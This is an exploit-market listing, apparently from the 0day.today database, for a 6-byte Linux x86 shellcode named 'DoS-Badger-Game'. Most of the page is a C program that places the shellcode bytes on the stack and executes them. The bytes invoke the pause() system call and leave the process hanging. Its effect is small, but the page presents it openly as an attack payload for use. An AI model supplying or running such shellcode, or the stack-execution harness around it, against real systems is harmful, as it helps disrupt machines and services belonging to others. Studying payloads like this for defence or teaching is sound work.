[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

linux/x86 - DoS-Badger-Game shellcode 6 bytes

Author
Magnefikko
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11790
Category
shellcode
Date add
14-04-2010
Platform
linux/x86
=============================================
linux/x86 - DoS-Badger-Game shellcode 6 bytes
=============================================

#include <stdio.h>
#include <string.h>
 
/*
by Magnefikko
14.04.2010
magnefikko@gmail.com
promhyl.oz.pl
Subgroup: #PRekambr
Name: 6 bytes DoS-Badger-Game shellcode
Platform: Linux x86
 
pause()
gcc -Wl,-z,execstack filename.c
 
shellcode:
 
\x31\xc0\xb0\x1d\xcd\x80
 
*/
 
 
int main(){
char shell[] = "\x31\xc0\xb0\x1d\xcd\x80";
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}



#  0day.today [2024-11-16]  #